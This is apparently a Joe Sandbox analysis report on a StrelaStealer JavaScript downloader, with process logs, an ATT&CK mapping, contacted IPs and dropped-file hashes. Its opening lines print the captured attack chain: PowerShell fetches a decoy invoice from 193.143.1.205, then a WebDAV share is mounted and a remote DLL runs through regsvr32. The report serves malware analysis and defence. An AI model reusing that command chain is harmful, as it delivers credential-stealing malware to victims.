Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1194187433219817322.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1194187433219817322.js	13%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/0v-;#	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1864941931.000001FAAA768000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3033366555.0000027BB6A14000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/0v-;#	net.exe, 00000006.00000002.1864941931.000001FAAA7A4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1858380531.000001FAAA7A4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1864458361.0000027BB6CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1858380531.000001FAAA7A4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1864941931.000001FAAA768000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1864458361.0000027BB6CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588923
Start date and time:	2025-01-11 07:16:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1194187433219817322.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 52.22.41.97, 52.6.155.20, 3.219.243.226, 3.233.129.217, 23.209.209.135, 199.232.210.172, 184.28.90.27, 172.202.163.200, 18.213.11.84, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:17:32	API Interceptor	22x Sleep call for process: powershell.exe modified
01:17:35	API Interceptor	1x Sleep call for process: net.exe modified
01:17:35	API Interceptor	2x Sleep call for process: svchost.exe modified
01:17:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1775148551349412785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	959032706323392160.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073583135439921
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrY:KooCEYhgYEL0In
MD5:	FF30E7A7CF7ED907D97A62BD7799C69E
SHA1:	C253B94712890F0B1B0DE96C4058AC921A5B4D8C
SHA-256:	07FC83583E6F1720F8F6B07F908071B64BB2E006A056949C05FE8E811047A90E
SHA-512:	2E045DA7DFE9E52C3F98E7FCF89EC586AAF0B3CC3C31E8446E4D6BA8D5FC0EBC9A27B9873392F26ACB0F9F61253A25BF04EF851D81744F5747D139D416B100F0
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9ccc6c51, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215800149430494
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	CDFE8B9C3EB47BCA7CB3A5B17F54541E
SHA1:	857E262A018BE6B0E06C0F788204AC676764BA5E
SHA-256:	8DD9A3EA3AC870AA776BFF5D340E142E0123FE3EACAA5758958BBC961CB5B0DD
SHA-512:	E9B25778F9DABD065A1C55373E0B8CC8D69188E1D1329A4871EF3E2A098F4CAD2CC82177A0306CF9D6C89493455C15765607B09958733BF320BF63BEFA438447
Malicious:	false
Preview:	..lQ... .......A.......X\...;...{......................0.!..........{A.%....}O.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................g..%....}O.....................%....}O..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07689437767010271
Encrypted:	false
SSDEEP:	3:FtEYe3lMt7vejjn13a/mQMtXAllcVO/lnlZMxZNQl:0z3lwGj53qmXAOewk
MD5:	A8D47BE19C9538885561B853CE361D49
SHA1:	825D4B0D036B0816BAC556547654C43DA0B97937
SHA-256:	9225684CAD414B85DEFE7DA0B3D37BD68E7CC7303ADA0EB08D4D84170DD0E918
SHA-512:	32081D79145805E3A3BC6A035B9D24E2392FB51BD05C8F776300257C3DCC656B102F66B8AC91324557BE0F089C0243A0273EB0265987A33DD4F2D065DB5BB04F
Malicious:	false
Preview:	..`......................................;...{..%....}O......{A..............{A......{A..........{A]....................%....}O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.172932565051005
Encrypted:	false
SSDEEP:	6:iOnKTN+q2Pwkn2nKuAl9OmbnIFUtFK7QZZmwrK7QNVkwOwkn2nKuAl9OmbjLJ:7nKTN+vYfHAahFUtFK78/rK78V5JfHAR
MD5:	9A72A62635FD9121DBF9A6AD095BF39F
SHA1:	FC425275D8C9927BDE9C1FCBA71DEFC45D614A19
SHA-256:	657A34957BE46CE4E1F1083B3465A5E83E7ED774D0842D4FCF97934DD74F2830
SHA-512:	210E6824FB8959D7E6E2C04A95B4360E123320A684DC826E86CABB05B42E3BA00520ABB405D2BAC399C435323B64C501327DC3887EE1D64FCDBC83A1ED6BE6AB
Malicious:	false
Preview:	2025/01/11-01:17:35.898 1bdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:17:35.901 1bdc Recovering log #3.2025/01/11-01:17:35.901 1bdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.172932565051005
Encrypted:	false
SSDEEP:	6:iOnKTN+q2Pwkn2nKuAl9OmbnIFUtFK7QZZmwrK7QNVkwOwkn2nKuAl9OmbjLJ:7nKTN+vYfHAahFUtFK78/rK78V5JfHAR
MD5:	9A72A62635FD9121DBF9A6AD095BF39F
SHA1:	FC425275D8C9927BDE9C1FCBA71DEFC45D614A19
SHA-256:	657A34957BE46CE4E1F1083B3465A5E83E7ED774D0842D4FCF97934DD74F2830
SHA-512:	210E6824FB8959D7E6E2C04A95B4360E123320A684DC826E86CABB05B42E3BA00520ABB405D2BAC399C435323B64C501327DC3887EE1D64FCDBC83A1ED6BE6AB
Malicious:	false
Preview:	2025/01/11-01:17:35.898 1bdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:17:35.901 1bdc Recovering log #3.2025/01/11-01:17:35.901 1bdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118002013035058
Encrypted:	false
SSDEEP:	6:iOnKzIq2Pwkn2nKuAl9Ombzo2jMGIFUtFKdvZZmwrKpkwOwkn2nKuAl9Ombzo2jz:7nKcvYfHAa8uFUtFKn/rKp5JfHAa8RJ
MD5:	40F9CFCA69A605B3C1EE381D21BCCF75
SHA1:	08640CC16E55DB6E3E112AF2AF138D64E819C555
SHA-256:	7B2586D09D0B8D78D593A41AFFE61EB61D089C6ADFA82AFB700A390A6BA9F52F
SHA-512:	DD2B772D6F6E231ACB42BB88245DD2864E0FDCCF01E1E041D50E59377F2FE904F771FE58AB73A035B63CD78E4DC2D3913C6B65DC61900E1B4636099168A05D46
Malicious:	false
Preview:	2025/01/11-01:17:36.210 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:17:36.212 1c70 Recovering log #3.2025/01/11-01:17:36.216 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118002013035058
Encrypted:	false
SSDEEP:	6:iOnKzIq2Pwkn2nKuAl9Ombzo2jMGIFUtFKdvZZmwrKpkwOwkn2nKuAl9Ombzo2jz:7nKcvYfHAa8uFUtFKn/rKp5JfHAa8RJ
MD5:	40F9CFCA69A605B3C1EE381D21BCCF75
SHA1:	08640CC16E55DB6E3E112AF2AF138D64E819C555
SHA-256:	7B2586D09D0B8D78D593A41AFFE61EB61D089C6ADFA82AFB700A390A6BA9F52F
SHA-512:	DD2B772D6F6E231ACB42BB88245DD2864E0FDCCF01E1E041D50E59377F2FE904F771FE58AB73A035B63CD78E4DC2D3913C6B65DC61900E1B4636099168A05D46
Malicious:	false
Preview:	2025/01/11-01:17:36.210 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:17:36.212 1c70 Recovering log #3.2025/01/11-01:17:36.216 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqL2sBdOg2HDcaq3QYiubInP7E4T3y:Y2sRds0bdMH63QYhbG7nby
MD5:	72A98628B0FE5FF36D812A6FDE8A7B78
SHA1:	584AD688EC97F9138B4CFC21A448ACF9F12F3623
SHA-256:	05AE151A0BB807F1CBF2EB7B17E3C47E07D1595FA3042552DF1DF524A00FD7E3
SHA-512:	E70D287A969A00A9561813C7589CF83E9BBBAC2F07368E8AB482D2756A82DC2F696C1D3EFAC09FF4807CF132D5DF5A11543E0408A43AD5922313DE0908CD6A2E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136267795167","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129584},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cd45df33-2535-4623-bc1e-cfc7fe89b39d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqL2sBdOg2HDcaq3QYiubInP7E4T3y:Y2sRds0bdMH63QYhbG7nby
MD5:	72A98628B0FE5FF36D812A6FDE8A7B78
SHA1:	584AD688EC97F9138B4CFC21A448ACF9F12F3623
SHA-256:	05AE151A0BB807F1CBF2EB7B17E3C47E07D1595FA3042552DF1DF524A00FD7E3
SHA-512:	E70D287A969A00A9561813C7589CF83E9BBBAC2F07368E8AB482D2756A82DC2F696C1D3EFAC09FF4807CF132D5DF5A11543E0408A43AD5922313DE0908CD6A2E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136267795167","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129584},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.251526955288743
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7YXZscWnbh:etJCV4FiN/jTN/2r8Mta02fEhgO73go7
MD5:	47903B3602703DDB41282D0DD5541A5F
SHA1:	1C1F6DDFC4E7AFBFDCDE9E0A1EBBE3CAAA8FCAB6
SHA-256:	0C4445254B24523D82E09BD6FDB21F3BA807D6B853D50C27CCFB7D40F734D596
SHA-512:	1CC6C6CB83C2A6AF3013E8F4B5D28DADE526C5FE948ABB3CD00ECD2462387F181275297B0764A3DBCA16FC2B918B50EE7E5A466C027736F11E4A0CD30FDFF461
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181496052219284
Encrypted:	false
SSDEEP:	6:iOnK3Oq2Pwkn2nKuAl9OmbzNMxIFUtFKxZmwrKZ7kwOwkn2nKuAl9OmbzNMFLJ:7nK3OvYfHAa8jFUtFKx/rKR5JfHAa84J
MD5:	18061992699B524C024989AA866C938A
SHA1:	A3C9F70E03BF6365DDE516C700C8A8174F44CF63
SHA-256:	2F75A1043789AC1CC2EACCE2329C96DE43AFD62EF60BD16BD78B9A93607A1CD3
SHA-512:	023BA6E47126A7F664C572F8839A67EDFD3A58A85190E91AB585F38E156EAA46EC0ADD34A292E889DDCF3AA6A170424CDDAB98D80BBA36F7DA83C3026D8432BF
Malicious:	false
Preview:	2025/01/11-01:17:36.649 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:17:36.654 1c70 Recovering log #3.2025/01/11-01:17:36.656 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181496052219284
Encrypted:	false
SSDEEP:	6:iOnK3Oq2Pwkn2nKuAl9OmbzNMxIFUtFKxZmwrKZ7kwOwkn2nKuAl9OmbzNMFLJ:7nK3OvYfHAa8jFUtFKx/rKR5JfHAa84J
MD5:	18061992699B524C024989AA866C938A
SHA1:	A3C9F70E03BF6365DDE516C700C8A8174F44CF63
SHA-256:	2F75A1043789AC1CC2EACCE2329C96DE43AFD62EF60BD16BD78B9A93607A1CD3
SHA-512:	023BA6E47126A7F664C572F8839A67EDFD3A58A85190E91AB585F38E156EAA46EC0ADD34A292E889DDCF3AA6A170424CDDAB98D80BBA36F7DA83C3026D8432BF
Malicious:	false
Preview:	2025/01/11-01:17:36.649 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:17:36.654 1c70 Recovering log #3.2025/01/11-01:17:36.656 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4447293588037216
Encrypted:	false
SSDEEP:	384:yezci5tWiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rZs3OazzU89UTTgUL
MD5:	641D4A56CC922D9F7F56D08D4E2F820B
SHA1:	F54DF1B0C6B96B6FFE093272CCB81AE5DE1227A6
SHA-256:	4F75918CF4136AD12E13922564486AAFDB8F0A4B2C387DA8A7D1F495A6AB9D28
SHA-512:	A2D85D324046C5C47E36DEDBD83FF20555C7E0ACEA514F799EF0CE3BCF5130EF843BFD6FDFB32A73EE51762D8B6D93A2AB1135E7863D63ECF1E7A32128A42861
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7750316658559093
Encrypted:	false
SSDEEP:	48:7M6/cp/E2ioyVvioy9oWoy1Cwoy1PKOioy1noy1AYoy1Wioy1hioybioyToy1noS:7fUpjuvFeXKQulb9IVXEBodRBkL
MD5:	3088680E8E97B522816DEB75A1E8BA03
SHA1:	943A1558B5A609FEA3E94849E01874F1182DCD31
SHA-256:	04D0B4E746FE2BE37B14BF370AF41E7E1B71347888E92619D9755B26545EF61E
SHA-512:	289A1F96FDC152F33537AE5E0F211675CCEDD96AE88C499FD6C0613045FC101CA9AE5896042FE80705659A8C376D5396CBA509D182D8DAF2D35FD601E1F39CC1
Malicious:	false
Preview:	.... .c......[.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

